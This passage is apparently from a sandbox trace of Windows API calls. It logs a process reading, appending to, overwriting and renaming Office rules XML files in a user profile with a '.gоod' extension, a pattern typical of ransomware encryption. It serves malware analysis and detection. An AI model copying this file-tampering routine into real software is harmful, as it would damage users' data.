0x52 [0270.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0270.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0270.036] GetFileType (hFile=0x768) returned 0x1 [0270.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0270.036] GetFileType (hFile=0x768) returned 0x1 [0270.036] WriteFile (in: hFile=0x768, lpBuffer=0x38803c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x38803c8*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0270.036] CloseHandle (hObject=0x768) returned 1 [0270.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", lpFilePart=0x0) returned 0x52 [0270.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x57 [0270.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0270.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ac8343, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xb3ac8343, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x9d2b793c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x72f3)) returned 1 [0270.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0270.037] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml.gоod")) returned 1 [0270.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0270.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0270.037] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x39003f8 | out: lpFileInformation=0x39003f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e69405, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x83e69405, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x83e69405, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x28442)) returned 1 [0270.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0270.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0270.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0270.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0270.038] GetFileType (hFile=0x768) returned 0x1 [0270.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0270.038] GetFileType (hFile=0x768) returned 0x1 [0270.038] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0270.039] ReadFile (in: hFile=0x768, lpBuffer=0x3900840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x3900840*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0270.039] CloseHandle (hObject=0x768) returned 1 [0270.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0270.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0270.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0270.039] GetFileType (hFile=0x768) returned 0x1 [0270.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0270.040] GetFileType (hFile=0x768) returned 0x1 [0270.040] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x28442 [0270.040] WriteFile (in: hFile=0x768, lpBuffer=0x39024b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x39024b0*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0271.056] CloseHandle (hObject=0x768) returned 1 [0271.070] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0271.070] GetFileType (hFile=0x768) returned 0x1 [0271.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.070] GetFileType (hFile=0x768) returned 0x1 [0271.070] ReadFile (in: hFile=0x768, lpBuffer=0x3a2d618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x3a2d618*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0271.097] CloseHandle (hObject=0x768) returned 1 [0271.098] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0271.098] GetFileType (hFile=0x768) returned 0x1 [0271.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.098] GetFileType (hFile=0x768) returned 0x1 [0271.098] WriteFile (in: hFile=0x768, lpBuffer=0x3a2c358*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x3a2c358*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0271.098] CloseHandle (hObject=0x768) returned 1 [0271.098] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.098] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x4e [0271.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0271.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e69405, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x83e69405, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9dcbf68a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x28452)) returned 1 [0271.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0271.098] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\outlook.exe_rules.xml.gоod")) returned 1 [0271.100] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0271.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0271.100] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x3aa9a38 | out: lpFileInformation=0x3aa9a38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a53e30, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x19a53e30, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x19a53e30, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x2dc68)) returned 1 [0271.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0271.100] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0271.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0271.101] GetFileType (hFile=0x768) returned 0x1 [0271.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.101] GetFileType (hFile=0x768) returned 0x1 [0271.101] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0271.101] ReadFile (in: hFile=0x768, lpBuffer=0x3aa9e80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x3aa9e80*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0271.429] CloseHandle (hObject=0x768) returned 1 [0271.527] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0271.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.527] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.529] GetFileType (hFile=0x8a8) returned 0x1 [0271.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.529] GetFileType (hFile=0x8a8) returned 0x1 [0271.529] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x2dc68 [0271.530] WriteFile (in: hFile=0x8a8, lpBuffer=0x385ada8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x385ada8*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0271.531] CloseHandle (hObject=0x8a8) returned 1 [0271.531] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0271.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.531] GetFileType (hFile=0x8a8) returned 0x1 [0271.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.531] GetFileType (hFile=0x8a8) returned 0x1 [0271.531] ReadFile (in: hFile=0x8a8, lpBuffer=0x385d080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x385d080*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0271.566] CloseHandle (hObject=0x8a8) returned 1 [0271.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0271.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.566] GetFileType (hFile=0x8a8) returned 0x1 [0271.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.566] GetFileType (hFile=0x8a8) returned 0x1 [0271.566] WriteFile (in: hFile=0x8a8, lpBuffer=0x385bdc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x385bdc0*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0271.566] CloseHandle (hObject=0x8a8) returned 1 [0271.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml", lpFilePart=0x0) returned 0x4a [0271.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml.gоod", lpFilePart=0x0) returned 0x4f [0271.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0271.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a53e30, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x19a53e30, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9e137d80, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2dc78)) returned 1 [0271.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0271.567] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\powerpnt.exe_rules.xml.gоod")) returned 1 [0271.575] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0271.576] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml"), fInfoLevelId=0x0, lpFileInformation=0x38d94a0 | out: lpFileInformation=0x38d94a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a526ab, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x80a526ab, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x80a526ab, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3)) returned 1 [0271.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0271.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.578] GetFileType (hFile=0x8a8) returned 0x1 [0271.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.578] GetFileType (hFile=0x8a8) returned 0x1 [0271.578] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0271.578] ReadFile (in: hFile=0x8a8, lpBuffer=0x38d98e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x38d98e8*, lpNumberOfBytesRead=0x207ec668*=0x1000, lpOverlapped=0x0) returned 1 [0271.579] CloseHandle (hObject=0x8a8) returned 1 [0271.580] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.580] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.580] GetFileType (hFile=0x8a8) returned 0x1 [0271.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.580] GetFileType (hFile=0x8a8) returned 0x1 [0271.581] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x72e3 [0271.581] WriteFile (in: hFile=0x8a8, lpBuffer=0x38dab98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x38dab98*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0271.586] CloseHandle (hObject=0x8a8) returned 1 [0271.590] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml", lpFilePart=0x0) returned 0x49 [0271.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0271.590] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\setup32.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\setup32.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0271.596] GetFileType (hFile=0x8a8) returned 0x1 [0271.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0271.596] GetFileType (hFile=0x8a8) returned 0x1 [0271.596] ReadFile (in: 